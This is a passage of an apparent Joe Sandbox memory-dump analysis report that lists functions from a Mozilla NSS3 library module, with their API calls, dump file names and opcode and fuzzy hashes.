Instruction Fuzzy Hash: C451B3B6A00105ABE710DF69DC40B9A77E4EF48348F250524E946B7B40EB31EA26CB99

Function 6C6CFFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6C6CFFE5

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_EnterMonitor.NSS3(?), ref: 6C6D0004
PR_EnterMonitor.NSS3(?), ref: 6C6D001B

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: 6a47e24bc0e28269a45094143fabbac56a4322610f1a8ede83c67aa0a26e3e21
Instruction ID: e1df66cdfdcff840337f6f3681ef08d2f3bf5822fdea135648fcba63fcc0ea7e
Opcode Fuzzy Hash: 6a47e24bc0e28269a45094143fabbac56a4322610f1a8ede83c67aa0a26e3e21
Instruction Fuzzy Hash: 0D419770608680DBE7308A69DC557EB73A1EB8130CF55043DE45BCBE90E3B9B449C78A

Function 6C68EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C68EF38

Part of subcall function 6C679520: PK11_IsLoggedIn.NSS3(00000000,?,6C6A379E,?,00000001,?), ref: 6C679542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C68EF53

Part of subcall function 6C694C20: TlsGetValue.KERNEL32 ref: 6C694C4C
Part of subcall function 6C694C20: EnterCriticalSection.KERNEL32(?), ref: 6C694C60
Part of subcall function 6C694C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C694CA1
Part of subcall function 6C694C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C694CBE
Part of subcall function 6C694C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C694CD2
Part of subcall function 6C694C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C694D3A

PR_GetCurrentThread.NSS3 ref: 6C68EF9E

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

free.MOZGLUE(00000000), ref: 6C68EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C68F016
free.MOZGLUE(00000000), ref: 6C68F022

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 193e45471585095125124e0e9b92efe8fd013fe64773360420aa67faf0aa62ef
Instruction ID: 6273c486a7b59ef7c815cb76326d4a6e881225dcd703cd0e19cbf82bb2cd628d
Opcode Fuzzy Hash: 193e45471585095125124e0e9b92efe8fd013fe64773360420aa67faf0aa62ef
Instruction Fuzzy Hash: BC41B2B1E0120AAFDF018FA9DC44BEE7BB9AF49348F144025F914A6350E772C9158BB9

Function 6C67CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6C67CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6C67D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6C67D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67D025
PR_NewLock.NSS3 ref: 6C67D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C67D074

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: b23781599df550cda2372c8b9a2b65f543ad1cbd4405802384db8e309a6b7860
Instruction ID: 79ea88b1fcbb8423cd0d8289845fd35db8351fd1248ed1845f97c588f3ae3957
Opcode Fuzzy Hash: b23781599df550cda2372c8b9a2b65f543ad1cbd4405802384db8e309a6b7860
Instruction Fuzzy Hash: C641E3B0A013019FDF20DF29C88878A7BE4EF08358F10596ADC198BB46D774D885CBB9

Function 6C6C3FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6C3FF2

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaMark_Util.NSS3(?), ref: 6C6C4001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6C6C400F

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6C6C4054

Part of subcall function 6C65BB90: PORT_NewArena_Util.NSS3(00001000), ref: 6C65BC24
Part of subcall function 6C65BB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C65BC39
Part of subcall function 6C65BB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6C65BC58
Part of subcall function 6C65BB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C65BCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6C4070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6C6C40CD

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: 85cb7722eb0d43e6c1125bf58762c9f1fb40480b9f6c4d0355d9e319e4c27fe6
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: 8A31C8B2F4034597EB00DF649D81BBA3364EF9170CF144225ED099B742FB71E96883AA

Function 6C662E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C652D1A), ref: 6C662E7E

Part of subcall function 6C6B07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C658298,?,?,?,6C64FCE5,?), ref: 6C6B07BF
Part of subcall function 6C6B07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6B07E6
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B081B
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B0825

PR_Now.NSS3 ref: 6C662EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C662EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C652D1A), ref: 6C662F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C652D1A), ref: 6C662F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C662F81

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 6b07c725085597f8747be8f02724ca0978570fab7e286339c927f80b8baa832b
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: CA31F3715411008BE710C657CC88BAEB365EF81358F64497AD42AA7ED0EB31988AC75F

Function 6C650E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C650A2C), ref: 6C650E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C650A2C), ref: 6C650E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C650A2C), ref: 6C650E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C650A2C), ref: 6C650E90
free.MOZGLUE(00000000), ref: 6C650EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C650A2C), ref: 6C650ED9

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: b42e53ac7ee77110eb8c45b4cd58700397d176c9b4692362ba96b9ccd07ee72f
Instruction ID: b54aa62a423b8e2f24136349cc35f578237e9facc757e54bbac3f2cfb7fd2587
Opcode Fuzzy Hash: b42e53ac7ee77110eb8c45b4cd58700397d176c9b4692362ba96b9ccd07ee72f
Instruction Fuzzy Hash: 2D216E73F0028557EB0049669C45BAB76AEDFC270CFB94435D81863A02FA70C83783AA

Function 6C65AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C65AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C65AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C65AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C65AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C779500), ref: 6C65AF23

Part of subcall function 6C6AF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C6AF0C8
Part of subcall function 6C6AF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6AF122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65AF37

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: aa0b69d19508e017992ee436edc047c13a3ceb2722508d6493ee90bb48e1864c
Instruction ID: 76d532f6dcbbb6a60217a3de15781c23c83e5a06c9322c4e4e5371c539a706b7
Opcode Fuzzy Hash: aa0b69d19508e017992ee436edc047c13a3ceb2722508d6493ee90bb48e1864c
Instruction Fuzzy Hash: 56213AB19092006BEB108F18DC41BAA7BE4AF8572CF644319FC54AB782E732D51587BF

Function 6C6DEE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6DEE85
realloc.MOZGLUE(367FFC63,?), ref: 6C6DEEAE
PORT_Alloc_Util.NSS3(?), ref: 6C6DEEC5

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

htonl.WSOCK32(?), ref: 6C6DEEE3
htonl.WSOCK32(00000000,?), ref: 6C6DEEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C6DEF01

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: b5986fb3c061f71d80fb6bf1c7899f0a1a922aff16bf67deae3f716e92876cab
Instruction ID: c935de0a551343cf15088d4e7650486b74cf4b0846231a25548422a6cf3a3da1
Opcode Fuzzy Hash: b5986fb3c061f71d80fb6bf1c7899f0a1a922aff16bf67deae3f716e92876cab
Instruction Fuzzy Hash: 7021D371A002159FCF109F28DC8479AB7A4EF89358F158179EC199B641E730FC15CBEA

Function 6C68EE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C68EE49

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C68EE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6C68EE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6C68EE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C68EEB3

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: e078dbc3a9a7fec5d4538e76caa6fecef3a4990a4c6f1ee1541df9b13bf24d4b
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: 112157BAA002146BEB108F58DC85EAB77A8EF06708F040564FE049B302E771DC15C7FA

Function 6C657F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C657F68

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6C657F7B

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C657FA7

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C77919C,?), ref: 6C657FBB

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C657FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6C77915C,00000014), ref: 6C657FFE

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: 7c80116befb4ab5bd66cefca500d98078af11813fb09b1da8ffaddcae76cb2e9
Instruction ID: 7c203b54db82ad3a88a40cc6c6df7f62eeea3152c088f7e93030573c2ee79624
Opcode Fuzzy Hash: 7c80116befb4ab5bd66cefca500d98078af11813fb09b1da8ffaddcae76cb2e9
Instruction Fuzzy Hash: 591157B1D042086AE710DA25AD44FBB72ACDF4564CF500629FC59D2B41F721A968C2BE

Function 6C65BE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6C6DDC29,?), ref: 6C65BE64

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6C6DDC29,?), ref: 6C65BE78

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6C6DDC29,?), ref: 6C65BE96

Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6C6DDC29,?), ref: 6C65BEBB

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6C6DDC29,?), ref: 6C65BEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6C6DDC29,?), ref: 6C65BEF3

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: 648b5bc76a39fe106231e4470b806462bc686ec6e0c590da5713f98635176478
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: 2F11DD71F002055BEB008B65ED55FAF3768EF81398F680028ED09E7740EB31D92AC7A9

Function 6C6E3C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6C6E5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6E5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E3D3F

Part of subcall function 6C65BA90: PORT_NewArena_Util.NSS3(00000800,6C6E3CAF,?), ref: 6C65BABF
Part of subcall function 6C65BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6C6E3CAF,?), ref: 6C65BAD5
Part of subcall function 6C65BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6C6E3CAF,?), ref: 6C65BB08
Part of subcall function 6C65BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C6E3CAF,?), ref: 6C65BB1A
Part of subcall function 6C65BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6C6E3CAF,?), ref: 6C65BB3B

PR_EnterMonitor.NSS3(?), ref: 6C6E3CCB

